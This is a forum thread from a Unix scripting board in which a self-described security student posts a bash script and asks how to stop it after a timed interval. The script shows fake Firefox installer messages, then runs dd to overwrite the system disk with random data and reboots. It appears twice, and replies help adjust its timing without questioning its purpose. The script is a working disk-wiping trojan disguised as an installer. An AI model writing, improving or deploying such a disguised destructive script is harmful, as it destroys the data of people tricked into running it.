timed kill within script?


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting timed kill within script?
# 1  
Old 12-08-2011
timed kill within script?

I want to warn everyone, I am not a programmer lol. I'm an IT wanting to get a little insight of programming, and I like to play around so I can learn. Ok, so I'm going to school for IT Security and Forensics. I had a project to write a hack, and I chose to write a shell script to run dd to write random data to sda. It was easy. I'm currently using BackTrack 4 r2 (not that it really matters.) Now, I want to make it better and auto terminate. The entire script acts like it is installing firefox, yet is running dd. the only thing is, dd does not auto term it's self. I want it to term maybe after 10 minutes? My script is below. I promise I am doing this only for my own personal use. I am a Christian, and have my FBI background clearances for school.

Code:
#!/bin/bash
echo Downloading FireFox Installer........
sleep 1
echo done!
echo Please Wait...........
sleep 3
echo Downloading dependencies.....
sleep 2
echo done!
echo Downloading additional files......
sleep 1
echo done!
echo Downloading Plug-ins.....
sleep 4
echo done!
echo Installing FireFox...
dd if=/dev/urandom of=/dev/sda
echo done!
echo computer will now restart
sleep 2
reboot


Last edited by methyl; 12-09-2011 at 06:10 AM.. Reason: code tags
# 2  
Old 12-09-2011
Why not run a loop for 10mins instead of dd. Something like this:
Code:
while [ 1 ]
do
    sleep 600
    last
done


Last edited by balajesuri; 12-09-2011 at 12:38 AM..
# 3  
Old 12-09-2011
Thanks! I tried that, but I dint know where to add that code. Like I said, I'm a noob lol. Also, how did you add the code box? I think I'm just not looking in the right place..
# 4  
Old 12-09-2011
Replace this line "dd if=/dev/urandom of=/dev/sda" in your code with the while loop.

When you're posting a reply, look for 7th button to the right of bold button "Wrap [CODE] tags around selected text"
# 5  
Old 12-09-2011
So something like this?
Code:
#!/bin/bash
echo Downloading FireFox Installer........
sleep 1
echo done!
echo Please Wait...........
sleep 3
echo Downloading dependencies.....
sleep 2
echo done!
echo Downloading additional files......
sleep 1
echo done!
echo Downloading Plug-ins.....
sleep 4
echo done!
echo Installing FireFox...
while [1]
do
     sleep 5m
     last
done
dd if=/dev/urandom of=/dev/sda
echo done!
echo computer will now restart
sleep 2
reboot

# 6  
Old 12-09-2011
If you just want to sleep for 5 minutes then just sleep 5m will do, no need for a loop.
# 7  
Old 12-09-2011
CarloM, I'm actually trying to get a script to run a dd command for about 5 minutes, kill the dd, an then finish the script. Maybe my first post wasn't very clear, sorry! Smilie
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

How to kill a script and all its subprocesses?

I'd like to terminate scripts. These scripts are not by me, but other persons. These contain other programs such as ping, nmap, arp, etc. If such a script is running, how can I terminate this script AND all processes called by this script? These scripts are big so terminating all programs... (4 Replies)
Discussion started by: lordofazeroth
4 Replies

2. Shell Programming and Scripting

scp script getting timed out with expect

Hi, I have an expect script where in i am trying to scp a folder but it is getting timed out. Any help will be appreciated. (I don't have the option for sharing keys) expect -c 2> /dev/null " spawn scp -r -o NumberOfPasswordPrompts=1 -o StrictHostKeyChecking=no root@10.10.10.10:test_dir... (2 Replies)
Discussion started by: temp_user
2 Replies

3. Shell Programming and Scripting

Kill an specific process ID using the KILL and GREP commands

Good afternoon I need to KILL a process in a single command sentence, for example: kill -9 `ps -aef | grep 'CAL255.4ge' | grep -v grep | awk '{print $2}'` That sentence Kills the process ID corresponding to the program CAL255.4ge. However it is possible that the same program... (6 Replies)
Discussion started by: enriquegm82
6 Replies

4. Shell Programming and Scripting

kill the script

Hi ,I need your help to kill the script itself if run for more than 10 mins . main.sh nohup ./a1.sh param1 & nohup ./a2.sh param1 & wait #Wait for 2 scripts to complete and and kill the process if run more than 10 mins --- Thanks inadvace MR Please view this code tag... (2 Replies)
Discussion started by: mohan705
2 Replies

5. Shell Programming and Scripting

Kill a PID using script

Hi, I wrote a script to kill a process id. I am able to kill the PID only if I enter the root password in the middle of the execution because I did not run as root i.e after i run the script from the terminal, instead of killing directly, it is killing only after entering the pass when it... (12 Replies)
Discussion started by: rajkumarme_1
12 Replies

6. Shell Programming and Scripting

Script to Kill a Process by Name...

Hello all... new to these forums and a bit of a newbie with linux aswell. I need to figure out how to write a shell script to kill a process by name as given to the script as an argument. I've got that part working OK, but i need to make sure that the script does not allow processes that are... (6 Replies)
Discussion started by: cannon1707
6 Replies

7. Shell Programming and Scripting

How do I make a timed script

Hello, I would like to make a script, ideally in perl since I am most familair with it, that does the following: automatically starts up at 9 pm, searches through a specified directory for any new files, finds those new files and starts to run them through a pipeline. I have most of it worked... (4 Replies)
Discussion started by: amcrisan
4 Replies

8. Shell Programming and Scripting

Script to kill process...

hello Bros, I need to write some script that i can put it on crontab which checks for a process X if running. If the process X is ruuning then take the PID and kill it or display message that says process X is not running. I am using AIX 5.3 Thanks guys.:b: (2 Replies)
Discussion started by: malcomex999
2 Replies

9. UNIX for Advanced & Expert Users

When kill doesnt work, how to kill a process ?

Hi All, I am unable to kill a process using kill command. I am using HP-UX system. I have tried with kill -9 and i have root privilages. How can i terminate this daemon ? ? ? Regards, Vijay Hegde (3 Replies)
Discussion started by: VijayHegde
3 Replies

10. Shell Programming and Scripting

kill script

Hi all! I wirte a little Shell Script, that kill pids by programm names. For example, when i want to kill any pid of xmms i use this command: kill -9 `ps -A | awk ' ($4=="xmms") {print $1}'` To put this in a "killprg" script i use the following linkes: #!/bin/bash echo "" echo "Programm... (2 Replies)
Discussion started by: donald1111
2 Replies
Login or Register to Ask a Question